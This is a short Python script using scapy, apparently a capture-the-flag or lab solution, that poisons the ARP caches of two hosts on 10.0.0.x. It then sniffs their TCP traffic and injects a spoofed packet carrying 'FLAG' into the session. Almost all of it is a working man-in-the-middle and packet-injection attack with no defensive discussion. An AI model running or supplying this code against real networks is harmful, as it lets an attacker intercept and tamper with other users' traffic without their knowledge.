Ether/ARP Man-In-Ihe-Middle (MITM) Injection

ether_arp_mitm.py

# Ether/ARP Man-In-Ihe-Middle (MITM) Injection
#      .  .
#     .|  |.
#     ||  ||
#     \\()//
#     .={}=.
#    / /`'\ \
#    ` \  / '   
#       \/
from scapy.all import *

sendp(
    Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") /
    ARP(op="is-at", psrc="10.0.0.3", pdst="10.0.0.4"),
    iface="eth0"
)

sendp(
    Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") /
    ARP(op="is-at", psrc="10.0.0.4", pdst="10.0.0.3"),
    iface="eth0"
)

def inject(pkt):
        print("------------ PACKET ------------")
        print(f"src: {pkt[IP].src},   dst: {pkt[IP].dst}")
        print(f"sport: {pkt[TCP].sport},   dport: {pkt[TCP].dport}")
        print(f"seq: {pkt.seq},   ack: {pkt.ack}")
        if Raw in pkt:
            print(f"load: {pkt[Raw].load}")
            if pkt[Raw].load[0] == ord("C"):
                sendp(
                    Ether(src=pkt[Ether].dst, dst=pkt[Ether].src) /
                    IP(src=pkt[IP].dst, dst=pkt[IP].src) /
                    TCP(
                        sport=pkt[TCP].dport,
                        dport=pkt[TCP].sport,
                        seq=pkt.ack,
                        ack=(pkt.seq + len(pkt[Raw].payload)),
                        flags="PA"
                    ) /
                    Raw(load="FLAG\n"),
                    iface="eth0"
                )
        print(f"time: {pkt.time}\n")

sniff(filter="tcp", iface="eth0", prn=inject)